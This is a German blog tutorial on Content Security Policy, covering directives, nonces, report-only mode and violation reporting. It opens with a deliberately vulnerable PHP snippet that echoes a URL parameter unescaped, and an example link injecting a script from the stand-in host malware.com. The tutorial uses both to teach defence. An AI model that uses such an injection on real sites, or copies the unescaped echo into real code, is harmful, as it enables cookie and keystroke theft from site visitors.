Content Security Policy (CSP)

von Michael Tellenbach

    Das Wichtigste in Kürze

  • XSS-Attacken vermeiden
    Die Content-Security-Policy dient als letztes Sicherheitsnetz, um Angriffe über unbekannte XSS-Lücken zu verhindern.
  • Report-Only-Modus
    Über den Report-Only-Modus kann eine CSP in der produktiven Umgebung getestet werden, bevor sie aktiviert wird.
  • Hilfsmittel zur Definition und Validierung
    Es existieren zahlreiche Hilfsmittel im Internet, die die Definition und Validierung einer CSP zu vereinfachen.

Content Security Policy (CSP)

Die Content Security Policy ist eine Methode, um bestimme Arten von Attacken auf Websites zu verhindern.

Insbesondere Cross-Site-Scripting (XSS) wird so erschwert, eine der am häufigsten genutzten Angriffsmethoden, bei der Schadcode in eine vermeintlich vertrauenswürdige Umgebung eingebettet wird.

Eine CSP teilt dem Browser mit, nur noch Code aus Quellen auszuführen, die explizit erlaubt wurden.

Ein Cross-Site-Scripting (XSS) Beispiel

Cross-Site-Scripting (XSS) ist eine weit verbreitete Methode, um bösartige Scripts auf einer Webseite zu platzieren oder einzuschleusen. Folgendes Beispiel demonstriert eine XSS-Schwachstelle:

Auf einer Immobilienwebsite können bestimmte Suchparameter über die URL mitgegeben werden:

https://offline-immo.ch/?city=Luzern

Der Suchparameter wird auf der Seite mit den Resultaten wieder ausgegeben:

Suche nach <?php echo $_GET['city']; ?>
<!-- Suche nach Luzern -->

Ohne weitere Massnahmen hat ein Website-Besucher so die Möglichkeit, über den city Parameter der URL beliebigen Code direkt in das Dokument zu schreiben:

https://offline-immo.ch/?city=<script src="https://malware.com/script.js"></script>

Über obenstehenden Link wird neu folgende Ausgabe generiert, welche vom Browser als valides HTML und ausführbereites JavaScript interpretiert und ausgeführt wird:

Suche nach <script src="https://malware.com/script.js"></script>

Sende ich diesen infizierten Link nun jemandem zu und diese Person öffnet den Link im eigenen Browser, wird die script.js Datei auf dem fremdem Computer im Kontext unserer Website ausgeführt.

Von hier aus ist es ein Leichtes, Tastatureingaben und Cookies auszulesen oder Website-Inhalte unter dem Benutzerkonto der fremden Person zu veröffentlichen.

Die korrekte Methode, diesen Angriffsvektor zu schliessen, ist die Verwendung der PHP-Funktion htmlspecialchars oder besser noch den Einsatz einer Template-Engine wie Symfony's Twig oder Laravel's Blade (bzw. das Pendant in der Programmiersprache Deiner Wahl).

Suche nach <?php echo htmlspecialchars($_GET['city'], ENT_QUOTES, 'UTF-8'); ?>
<!-- Suche nach <script src="https://malware.com/script.js"></script> -->

Die somit resultierende Ausgabe wird vom Browser nicht mehr als HTML-Code interpretiert. Die XSS-Lücke ist geschlossen.

Im realen Leben werden Computer (zum grössten Teil) aber immer noch von Menschen programmiert. Und wo Menschen arbeiten, passieren Fehler. So kann es vorkommen, dass es eine XSS-Lücke unbemerkt in die produktive Umgebung schafft.

An dieser Stelle kommt die Content Security Policy ins Spiel.

Wie funktioniert eine Content Security Policy?

Die Content Security Policy definiert, aus welchen Quellen bestimmte Inhalte geladen werden dürfen. Inhalte, die in der CSP nicht explizit freigegeben werden (wie in unseren Beispiel scripts von malware.com) werden vom Browser nicht geladen. Mit diesem einfachen Mechanismus ist eingeschleuster Code aus XSS-Lücken nicht mehr effektiv.

Die CSP wird mit dem speziellen HTTP-Response-Header Content-Security-Policy mit jeder Antwort des Servers an den Browser gesendet.

Content-Security-Policy: *policy*

Alternativ kann eine CSP auch direkt im HTML-Dokument via meta-Tag definiert werden.

<meta http-equiv="Content-Security-Policy" content="*policy*">

Falls HTTP-Header und Meta-Tag vorhanden sind, wird die CSP aus dem HTTP-Header als Basis verwendet. Diese Basis-Policy wird mit den Regeln aus dem Meta-Tag ergänzt. Das Meta-Tag kann die Policy so nur weiter verfeinern (mehr Inhalte blockieren). Dies stellt sicher, dass die Policy nicht nachträglich von Schadcode im Browser weniger strikt eingestellt werden kann.

Die Content-Security-Policy setzt sich aus verschiedenen Direktiven zusammen. Für jede Direktive können mehrere Quellen definiert werden. Direktiven werden mit einem Strichpunkt voneinander getrennt.

Jede CSP sollte immer eine default-src Direktive enthalten. Sie dient als Fallback für alle nicht explizit definierten Direktiven.

Ein Beispiel: Die folgende CSP lässt alle Inhalte der eigenen Domain (exkl. Subdomains) zu:

Content-Security-Policy: default-src 'self';

'self' ist eine spezielle Quellenangabe und steht stellvertretend für den Hostnamen der Website (z. B. localhost oder offline-immo.ch).

Sollen beispielsweise JavaScript-Dateien von assets.offline-immo.ch erlaubt werden, kann die CSP entspreched ergänzt werden:

Content-Security-Policy: default-src 'self'; script-src 'self' assets.offline-immo.ch;

Die script-src wird in diesem Fall explizit definiert. Quellenangaben, die für Domains oder Protokolle stehen, werden ohne Anführungszeichen geschrieben.

Wie bereits erwähnt, wird für alle nicht definierten Direktiven die default-src verwendet. Wird eine Direktive explizit ergänzt, müssen alle Quellen erneut aufgeführt werden (also auch 'self', da diese nicht länger von der default-src übernommen wird).

Die gängigsten CSP-Direktiven

Die Anzahl vorhandener CSP-Direktiven ist relativ hoch. Viele davon sind jedoch nur für spezifische Anwendungsfälle relevant. Am häufigsten verwendet werden default-src (Fallback), img-src (Bilder), script-src (JavaScript), style-src (CSS) und frame-src (iframes).

Neue Projekte

Für neue Projekte ist folgende CSP eine gute Ausgangslage. Sie erlaubt alle Inhalte der eigenen Domain. Alle weiteren Quellen müssen explizit freigegeben werden.

default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; frame-src 'self';

Inline Scripts und Data URLs

Oft werden JavaScript-Codeblöcke nicht als externe Datei geladen, sondern direkt in ein inline <script> Tag geschrieben. Diese Vorgehensweise setzen beispielsweise auch viele Social Media Share Widgets ein. Solche inline Scripts können aber ein grosses Sicherheitsrisiko darstellen, da via XSS schnell ein bösartiger <script> Block platziert ist.

Um inline Scripts zuzulassen, muss die unsafe-inline Quelle für die script-src-Direktive ergänzt werden. Da es sich hierbei wieder um eine spezielle Quellenangabe handelt, ist diese in Anführungszeichen zu estzen. Eine sicherere Alternative zu unsafe-inline ist die Verwendung einer Nonce (siehe nächster Abschnitt).

Genau so wie inline JavaScript, muss auch inline CSS in <style> Tags explizit erlaubt werden.

Eine beliebte Methode, um unnötige HTTP-Requests zu vermeiden, ist das Einbetten von kleineren Icons als Data URLs. Auch diese müssen mit einer speziellen data: Quelle zugelassen werden.

Folgende CSP erlaubt inline JavaScript, CSS sowie Bilder, die als Data URL eingebunden werden:

default-src 'none'; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';

Nonces

Als «Nonce» (Abkürzung für «number used once») bezeichnet man eine Zahlen- oder Buchstabenkombination, die ein einziges Mal verwendet und danach verworfen wird.

Im Zusammenhang mit Content-Security-Policies kann eine Nonce generiert werden, um inline Scripts explizit zuzulassen. Die Nonce ist ein beliebiger, zufälliger String. Sie wird vom Server generiert und direkt in der CSP ergänzt. Der zufällige Nonce-Wert wird nach dem nonce- Prefix aufgeführt.

script-src 'self' 'unsafe-inline' 'nonce-fn28GEHUOFIFhd8wI23OrX2mrvxEon0Y';

Soll nun ein Inline-Codeblock ausgeführt werden, reicht es, die Nonce im nonce Attribut des <script> Tags zu erwähnen.

<script nonce="fn28GEHUOFIFhd8wI23OrX2mrvxEon0Y">
    console.log('Ich werde ausgeführt.');
</script>
<script>
    console.log('Ich werde blockiert.');
</script>

Der Gedanke hierbei ist, dass ein Angreifer die Nonce nicht im Voraus erraten kann und eingeschleuster Code ohne die Nonce vom Browser blockiert wird. Wichtig ist natürlich, dass diese Nonce für jeden Request neu generiert wird.

Um die Kompatibilität mit Internet Explorer sicherzustellen, wird empfohlen, bei der Verwendung einer Nonce immer auch unsafe-inline zu definieren. Internet Explorer bietet keinen Support für Nonces an. Inline Scripts müssen also via unsafe-inline zugelassen werden. Moderne Browser ignorieren die unsafe-inline Definition, wenn zusätzlich eine Nonce vorhanden ist.

Google Analytics

Wird auf einer Website Google Analytics eingebunden, muss https://www.googletagmanager.com als Script-Quelle freigegeben werden. Analytics verwendet zudem ein Tracking-Pixel, für den Fall, dass JavaScript nicht verfügbar ist. Deshalb muss zusätzlich https://www.google-analytics.com als Bild-Quelle freigegeben werden:

script-src 'self' https://www.googletagmanager.com; img-src 'self' https://www.google-analytics.com;

Google Maps, YouTube und andere iframes

Die Verwendung von <iframe> Quellen kann mit der frame-src Direktive kontrolliert werden. Folgende CSP lässt iframes von Google Maps und YouTube zu:

frame-src https://www.google.com/maps/embed https://www.youtube.com

Zusätzliche Sicherheitsfeatures

Zusätzlich zu den bisher besprochenen Direktiven, bietet die CSP-Spezifikation noch weitere Sicherheitsfeatures an. So kann über block-all-mixed-content forciert werden, dass beim Aufruf einer Website via HTTPS keine Daten über HTTP geladen werden. Wir empfehlen diese Direktive in jedem Fall hinzuzufügen.

Die Direktive upgrade-insecure-requests teilt dem Browser mit, dass alle bestehenden http:// URLs im Dokument auf https:// ungeschrieben werden sollen. Diese Direktive ist ebenfalls immer empfehlenswert (sofern sichergestellt ist, dass die umgeschriebenen Inhalte auch via HTTPS verfügbar sind!).

block-all-mixed-content; upgrade-insecure-requests; default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; frame-src 'self';

Integration in bestehende Websites

Die Integration in eine bestehende Website stellt sich oft als eher problematisch dar. Besonders dann, wenn die Website über viele Inhalte verfügt. Bei der Definition der CSP wird es kaum gelingen, alle verwendeten Fremdquellen richtig freizugeben, was dann zu fälschlicherweise blockierten Inhalten führen kann.

In diesem Fall kann die CSP im speziellen report-only Modus aktiviert werden. Dies bedeutet, dass der Browser keine Inhalte blockiert, jedoch in der Browser-Konsole loggt, was er blockieren würde.

Um den report-only Modus zu aktivieren, muss lediglich der Name des HTTP-Response-Headers auf Content-Security-Policy-Report-Only angepasst werden.

Content-Security-Policy-Report-Only: block-all-mixed-content; upgrade-insecure-requests; default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; frame-src 'self'; 

Beim Aufruf der Website werden von der CSP blockierte Requests nun in der Konsole sichtbar. Der Nachteil an dieser Methode ist, dass man selbst die komplette Website überprüfen muss. Viel einfacher wäre es doch, wenn die Website-Besucher diese Arbeit übernehmen können! Auch für diesen Fall wurde vorgesorgt:

CSP-Verstösse aufzeichnen

Über die spezielle report-uri (oder neuer report-to) Direktive kann ein Endpunkt definiert werden, an den der Browser blockierte Requests senden soll.

Der Endpunkt muss den vom Browser gesendeten JSON-Body entgegennehmen und abspeichern, damit ein Log aller blockierter Requests entsteht. Wer diesen Endpunkt nicht selber betreiben möchte, kann den csp-logger von Mozilla oder einen bezahlten Dienst wie den von Report URI einsetzen. Nutzer von October CMS oder Laravel finden im Quellcode unseres CSP-Plugins für October CMS eine mögliche Implementierung eines CSP-Loggers.

Die report-uri Direktive ist derzeit im Deprecated Status und wird durch die report-to Direktive ersetzt. Damit die Rückwärtskompatibilität zu alten Browsern gewährleistet ist, lohnt es sich beide Direktiven parallel einzusetzen.

Für die Verwendung der report-uri Direktive reicht es aus, die URL des CSP-Logger-Endpunktes zu erwähnen. Es können auch mehrere URLs durch ein Leerzeichen getrennt angegeben werden.

Content-Security-Policy-Report-Only: report-uri /_csp/report-uri; default-src 'self'; ...

Die report-to Direktive benötigt einen zusätzlichen Report-To HTTP-Response-Header, in dem mögliche Endpunkte als JSON-Objekt aufgelistet werden.

Report-To: { 
    "group": "csp-endpoint",
    "max_age": 10886400,
    "endpoints": [{ "url": "/_csp_report-uri" }]
}
Content-Security-Policy-Report-Only: report-to csp-endpoint; report-uri /_csp/report-uri; default-src 'self'; ...

Generierung der HTTP-Response-Header

Wie und wo die CSP-Header für die HTTP-Responses generiert werden, hängt stark vom Projekt und der Deploymentumgebung ab.

Wir empfehlen, die CSP-Definitionen möglichst nahe beim Applikationscode zu definieren, also idealerweise auf Applikations-Ebene, zum Beispiel via Middlewares. Dies hat den Vorteil, dass CSP-Definitionen mit dem restlichen Code in der Source-Code-Verwaltung verwaltet werden. Zudem können so für bestimmte URLs sehr einfach striktere oder weniger strikte CSP-Header definiert werden.

Alternativ können die Header auch auf Server-Ebene (in Nginx, Apache etc.) definiert werden. Diese Methode empfehlen wir nur dann, wenn die Server-Konfiguration auch in der Source-Code-Verwaltung abgelegt wird (via Docker, Terraform etc.). Die manuelle Verwaltung der CSP in spezifischen Server-Konfigurationen ist oft umständlich und sehr fehleranfällig.

Wie ein HTTP-Response-Header in Deiner Programmiersprache, Deinem Framework oder Deiner Server-Konfiguration gesetzt wird, ist im Internet genügend gut dokumentiert und wird hier deshalb nicht weiter erläutert :-)

Integration in October CMS

Nutzer des October CMS können unser CSP-Plugin installieren und die komplette CSP-Konfiugration im Backend von October CMS vornehmen.

CSPs definieren und testen

Das Fine-Tuning einer CSP kann viel Zeit in Anspruch nehmen. Zudem ist es auch schwierig, im CSP-Direktiven-Jungle die Übersicht zu behalten und nicht versehentlich eine zu offene und somit ineffektive CSP zu definieren.

Wir empfehen in jedem Fall, die CSP zuerst nur im Report-Only-Modus zu veröffentlichen.

Bei der Definition einer CSP ist der visuelle Generator von Report URI ein hilfreiches Werkzeug. Er bietet eine Übersicht über alle verfügbaren Optionen und erlaubt es, die CSP mit wenigen Klicks zu generieren.

Wie effektiv die CSP ist, lässt sich mit dem CSP Evaluator von Google überprüfen. Der Evaluator gibt nützliche Tipps dazu, wie eine CSP effektiver gestaltet werden kann.

Das Mozilla Observatory überprüft neben zahlreichen anderen Faktoren auch, wie effektive eine CSP definiert wurde und gibt Verbesserungsvorschläge.

Ein Beitrag aus dieser Serie
Security

Artikel zum Thema Sicherheit im Web.

Weitere Beiträge anzeigen »
Mehr aus dieser Kategorie
Entwicklung
Hier findest du Blogartikel technischer Natur.
Weitere Beiträge anzeigen »

Los geht's!

Kontaktiere uns noch heute

Für Offerten, technische Anfragen oder einfach nur um Hallo zu sagen.